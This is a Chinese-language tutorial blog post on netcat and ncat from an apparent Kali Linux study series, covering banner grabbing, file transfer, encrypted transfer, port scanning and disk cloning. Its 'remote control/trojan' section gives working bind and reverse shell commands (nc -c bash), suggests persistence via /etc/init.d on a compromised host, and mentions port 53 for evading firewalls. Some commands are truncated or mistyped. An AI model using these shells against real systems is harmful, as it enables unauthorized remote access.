title: NETCAT
date: 2016-02-28 19:27:52
tags: kali第五章 基本工具
NetCat网络工具的"瑞士军刀",小身材,大智慧。
0x00 NC简介
__ NetCat__是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,是一个很早就被提供,但没有公开的事实标准的Unix工具。使用NC命令所能完成的事情令人惊讶。
NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。 它还可以通过UDP来完成这些功能,因此它就象一个telnet那样的UDP程序,用来测试你的UDP服务器。正如它的“U”所指的,UDP跟TCP相比是一种不可靠的数据传输,一些系统在使用UDP 传送大量数据时会遇到麻烦,但它还有一些用途。
你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符(standard input EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NC会将这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。 NC没有这些限制,比Telnet更小巧和快捷,而且还有一些其它的功能。
NC所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。
0x01 telent/获取banner信息
nc-nv 1.1.1.1 110邮件服务器pop3端口
nc-nv 1.1.1.1 25 邮件服务器smtp端口
nc-nv 1.1.1.1 80 网站80端口
- 实例:metasploitable2的ip地址为:192.168.14.22
客户端模式下常用命令:
$:nc -vn 192.168.14.22
0x02 传输文本信息
kali和ubuntu为例,首先需要其中一台服务器打开一个端口,然后进行tcp连接,第一台服务器去侦听某个端口时使用nc -l 通过-p指定端口号,客户端:nc -nv 1.1.1.1 4444
- 实例:简单的聊天:
ubuntu $:sudo nc -l -p 3333 {开通3333端口}
$:netstat -pantu | grep 3333 {查看3333端口是否已经开通}
kali $:nc -nv 192.168.14.23 333
0x03 传输文件/目录
远程电子取证信息收集:
在本地计算机监听特定端口:
$ nc -l -p 3333 > ps.txt {使用管道命令将3333收到的文件重定向到ps.txt文件}
从被取证计算机传输收集信息给远端本地电脑:
$ ps aux | nc -nv 192.168.14.20 3333 -q 1 {-q 1 标准输出完成以后1sec后自动断开连接}
传输文件
- A作为接受端打开端口
$ nc -lp 3333 > 1.mp4 {将侦听到的3333端口的信息输出到1.mp4文件中}
B端为发送端:
$ nc -nv 1.1.1.1 3333 < 1.mp4 -q 1 {将1.mp4文件的内容宿儒到目标ip的3333端口,传递完成一秒后断开连接}
- 或者A作为发送端打开端口:
$ nc -q 1 -lp 3333
B作为接收端:
$ nc -nv 1.1.1.1 333 >a.mp4
传输目录
nc本身并不支持目录传送,而是必须结合其它的命令来完成。通常先将目录进行打包,让后将其通过管道灌到nc的一个端口,让后在接收端通过nc去连接服务器已经打开的侦听端口,当接收端得到打包的文件后在通过tar去解包重新还原出目录。
命令演示如下:
$ tar -cvf - filename/ | nc -lp 333 -q 1 {先打包目录,前一个tar打包命令的结果通过管道成为nc命令的输入,即将tar过的文件传到333端口里面,等人家来连接 }
$ nc 192.168.14.20 333 | tar -xvf - {将接收到tar文件重定向后进行解包}
0x05 加密传输文件
同样的,先对文件进行加密 ,生成一个要传输的加密文件,在讲加密文件作为输入结果输入到nc里:
命令演示如下:
首先需要为操作系统安装加密模块功能:
kali@ $: apt-get install mcrypt
A端(kali)作为文件接收端:
kali @$: nc -lp 333 | mcrypt--flush-Fbqd -a rijndael-256 -m ecb > 1.mp4{在本地侦听333端口,等待接收文件(等待着别人给传文件),将接收到的文件重定向对其进行解密,最后保存为本地文件!}
其实在本次传输过程中,是B端先将文件进行加密,之后再重定向通过nc传输给A端(kali)
B端(ubuntu)发送端:
ubuntu @$: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.14.23 333 -q 1 {将a.mp4的内容输入给加密指令进行加密,之后将加密后的文件管道给nc,nc再去连接A端的333端口,一旦连上,立即传输,传输完成以后延迟1秒断开连接}
0x05 远程控制/木马
nc远程控制可以实现双向的远程控制,服务器端可以是控制端,也可以是被控制端。
A:kali Linux; B:ubuntu Linux
正向:
首先下kali上运行nc的服务器端。
A:
Kali@ $: nc -lp 333 -c bash {通过nc建立的连接将bash传递给对方;符合我们通常的一个使用习惯吧,又服务器侦听一个端口,通过客户端来连接这个端口时,服务器端把自己的bash shell传递给客户端!}
B:ubuntu Linux
ubuntu@ $: nc -nv 192.168.14.23 333
正向连接适用于使用场景1:当渗透进入对当操作系统后,将可在对方/etc/init.d目录下添加nc执行脚本实行永久控制!但由于对方防火墙配置这种场景几乎不存在!
下面我们来个反向的:
- 反向:
A:kali 依旧作为服务器端负者侦听端口,但并不传递shell:
kali@ $: nc -lp 333
B端:ubuntu依旧是客户端:
ubuntu@ $: nc -nv 192.168.14.23 33 -c bash {通过nc连接到kali服务器端并将shell传递给服务器端成为被控制端!}
反向连接使用场景2:攻击端负者侦听一个端口,而在被攻击端执行启动脚本将shell传送给被攻击端!,通常使用53端口NDS转换端口!
当然在windows下只需要讲bash换成cmd就ok了!
0x06 流媒体服务器
流媒体服务器,首先需要流媒体客户端和流媒体服务端。
nc搭建流媒体服务器端(kali):
kali@ $: cat 1.mp4 | nc -lp 333 {使用cat命令将视频文件cat为文件流管道给nc侦听的333端口}
B端接收端(ubuntu):
ubuntu @ $: nc -nv 192.168.14.23 333 | mplayer -vo x11 -cache 3000- {B端nc连接到A端的侦听端口获得文件流,指定mplayer播放器进行缓存播放}
0x07 端口扫描
nc同样可以作为一个扫描器来使用,nc作为扫描器是以一个客户端的软件形象来出现的, nc-z开始扫描探测模式:
命令演示,打开metasploitable(192.168.14.21):
kali @ $: nc -nvz 192.168.
但是此种方式nc所探测的只是TCP模式的端口,UDP端口命令则是:
kali @$: nc -nvzu 1
0x08 远程克隆硬盘
如果目标系统整处于运行状态则可以收集其内存信息,进程信息,文件系统,网络连接等。通过远程电子取证,可以将目标服务器硬盘或者内存远程复制。
A端接收端:
nc -lp 333 | dd of=/dev/sda
B端,目标服务器:
dd if=/dev/sda | nc -nv 192.168.14.21 333 -q 1
使用dd命令对目标服务器进行块级别的复制,以便进行数据还原因为此时文件级别的复制已经没有意义![if=inputfile]
0x9 nc的弱点
Nc缺乏加密和身份验证的能力,容易被人嗅探,发生中间人劫持!
基于nc的弱点,引入NCAT工具!
0xA NCAT
加密所有流量
首先NCAT并不是Linux自带的一款工具,Ncat包含于nmap工具中,用来弥补nc明文连接传输通道的不足!
A:kali 192.168.14.23 B:ubuntu 192.168.14.20
A:kali作为服务器端进行侦听端口,allow参数即是允许那个ip连接,-ssl进行管道传输加密!
ncat -c bash --allow 192.168.14.20 -vnl 333 --ssl
B端作为接收端:
B:ubuntu
ncat -nv 192.168.14.23 333 --ssl
通过ncat建立的远程连接与nc建立的远程连接是有本质区别的,ncat建立一起已经进行了秘钥的交换,并且在此后的传输通道也是经过加密的哦!此时即是有人来嗅探也是无济于事的ssl还是挺有保障的!nc所能实现的所有功能在ncat上都能实现!
不同操作系统/平台的nc参数功能不尽相同!譬如ubuntu下nc不支持-c参数,而是通过其他方法变通实现!